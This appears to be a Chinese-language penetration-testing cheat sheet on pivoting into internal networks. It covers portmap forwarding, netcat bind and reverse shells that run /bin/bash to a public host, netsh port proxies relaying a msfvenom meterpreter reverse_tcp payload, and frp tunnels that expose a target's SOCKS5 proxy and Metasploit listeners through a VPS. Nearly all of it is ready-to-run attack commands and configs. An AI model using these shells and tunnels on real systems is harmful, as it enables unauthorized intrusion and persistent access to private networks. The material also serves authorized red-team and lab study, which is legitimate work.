portmap
https://github.com/Brucetg/Pentest-tools
不推荐,我测试的时候很卡
- 首先在有公网ip的主机上监听
./portmap -m 2 -p1 6666 -h2 公网ip -p2 7777
监听来自6666端口的请求,并将其转发到7777端口。- 在内网上进行端口转发(内网主机不出网)(会一直监听端口)
./portmap -m 3 -h1 127.0.0.1 -p1 22 -h2 公网ip -p2 6666
将内网主机22端口的流量转发到公网主机的6666端口- 登录
ssh 公网ip -p 7777
nc
交互性较差
正向连接(内网主机出网)
- 内网主机
nc -l -p 4444 -t -e /bin/bash
-t 是通过telnet模式执行cmd.exe程序。- 公网主机
nc -vv 内网ip 4444
反向连接(内网主机不出网)
- 在公网主机上进行监听
nc -lvnp 4444- 在内网主机上执行
nc -t -e /bin/bash 公网主机ip 4444
netsh端口转发
端口转发
netsh interface portproxy add v4tov4 listenaddress=localaddress listenport=localport connectaddress=destaddress connectport=destport
参数说明:
listenaddress – 等待连接的本地IP地址。
listenport – 本地侦听TCP端口。
connectaddress – 将传入连接重定向到本地或远程IP地址(或DNS名称)
connectport – 一个TCP端口,来自listenport的连接会被转发到该端口 显示系统中的转发规则列表
–
显示系统中的转发规则列表netsh interface portproxy show all
清除所有当前的端口转发规则 netsh interface portproxy reset
删除指定的端口转发规则 netsh interface portproxy delete v4tov4 listenport=3340 listenaddress=10.1.1.110
netsh端口转发监听meterpreter
- 攻击机
msfvenom -p windows/meterpreter/reverse_tcp > lhost=跳板机ip lport=跳板机端口 -f exe>shell.exe- 跳板机输入端口转发命令
netsh interface portproxy add v4tov4 listenport=跳板机端口 connectaddress=内网ip connectport=内网端口- 攻击机监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 内网ip
set lport 内网端口
frp
在有公网ip上配置fips
启动服务端
./frps -c ./frps.ini
在攻击机上配置frpc
启动客户端
./frpc -c ./frpc.ini
连接成功,服务端有数据交互
最后将马放到目标机,并且攻击机开启监听
服务端配置文档
bind_port = 7000
vhost_https_port = 7001 #当代理出来的是web服务时,在外网访问http://vps的IP:7001
#dashboard_port状态以及代理统计信息展示,网址:7500可查看详情
dashboard_port = 7500
#dashboard_user访问用户dashboard_pwd访问密码
dashboard_user = admin
dashboard_pwd = password
#log_file日志文件log_level记录的日志级别log_max_days日志留存3天authentication_timeout超时时间
log_file = ./frps.log
log_level = info
log_max_days = 3
authentication_timeout = 0
#max_pool_count最大链接池,每个代理预先与后端服务器建立起指定数量的最大链接数
max_pool_count = 50
客户端配置文件
server_addr = 1xx.1xx.1xx.205 #vps的ip
server_port = 7000 #vps中配置服务端要一样bind_port = 7000
[rdp]
type = tcp #类型tcp
local_ip = 127.0.0.1 #需要代理出去的ip
local_port = 3389 #需要代理出去访问的端口我这里是3389
remote_port = 7389 #这里就是转发出去的端口,也就是在自己的机器上访问的代理端口 rdp:vps的IP:7389
例子
- VPS配置服务端frps.ini
[common]
bind_addr = 0.0.0.0
bind_port = 7000
运行
frps.exe -c frps.ini
- 目标内网机器配置客户端frpc.ini
[common]
server_addr = 1.166.166.6
server_port = 7000
[http_proxy]
type = tcp
remote_port = 7777
plugin = socks5
运行
frpc.exe -c frpc.ini
- kali设置代理socks5
vi /etc/proxychains4.conf
socks5 1.166.166.6 7777
msf设置代理
setg Proxies socks5:1.166.166.6:7777
setg ReverseAllowProxy true
使用代理
ssh端口转发、msf反弹shell的端口转发—代理配置
在环境中,VPS起到了桥梁的作用,使得两个内网可以相互通信
- 环境描述
攻击目标内网
攻击桥梁VPS(windows),ip:1.166.166.6
本地机器kali linux,ip:10.1.0.4
工具:frp
- 服务端配置
VPS为服务端,假设ip为1.166.166.6
将下载的FRP文件放在VPS,编辑frps.ini文件配置
[common]
bind_port = 60121
dashboard_port = 88
dashboard_user = admin
dashboard_pwd = zCV2!#sWE3x
参数说明:
[common] # 名字
bind_port = port # 指的是frp的服务端端口,用来和客户端kali建立连接
dashboard_port = port # 可视化监控平台的端口,访问这个端口会得到一个网页版的监控
http://1.166.166.6:88
dashboard_user = admin # 网页版的登录用户名
dashboard_pwd = zCV2!#sWE3x # 网页版的登录密码
配置好之后保存,进行运行
frps.exe -c frps.ini
- 客户端配置
将FRP文件放进kali,解压命令
tar -zxvf frp_0.36.2_linux_amd64.tar.gz
配置kali,让在本地内网的kali,也能使用公网的IP进行访问,客户端的配置文件为frpc.ini
[common]
server_addr = 1.166.166.6
server_port = 60121[ssh]
type = tcp
local_ip = 127.0.0.1
local_port = 22
remote_port = 60122
use_compression = true[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 1234
remote_port = 60123
参数说明
[common]名称
server_addr = 1.166.166.6 # 服务器IP
server_port = 60121 # VPS的端口,用来建立连接
[ssh] # 配置ssh登录的端口转发
type = tcp # 连接方式为TCP的方式
local_ip = 127.0.0.1 # 将本地的IP映射出去
local_port = 22 # 本地的端口为22
remote_port = 60122 # 映射的端口为60122,本地端口22映射到VPS的60122
use_compression = true
[msf] # 配置msf的监听端口转发
type = tcp # 连接方式
local_ip = 127.0.0.1 # 本地IP
local_port = 1234 # 监听本地的端口
remote_port = 60123 # 映射的VPS端口为60123,本地端口1234映射到VPS的60123
在kali中运行
./frpc -c frpc.ini
- 访问一下frp的web管理页面
访问http://1.166.166.6:88,输入用户名密码登录
可以观察到流量的情况
- 测试效果
ssh远程kali,前提是kali开启了远程连接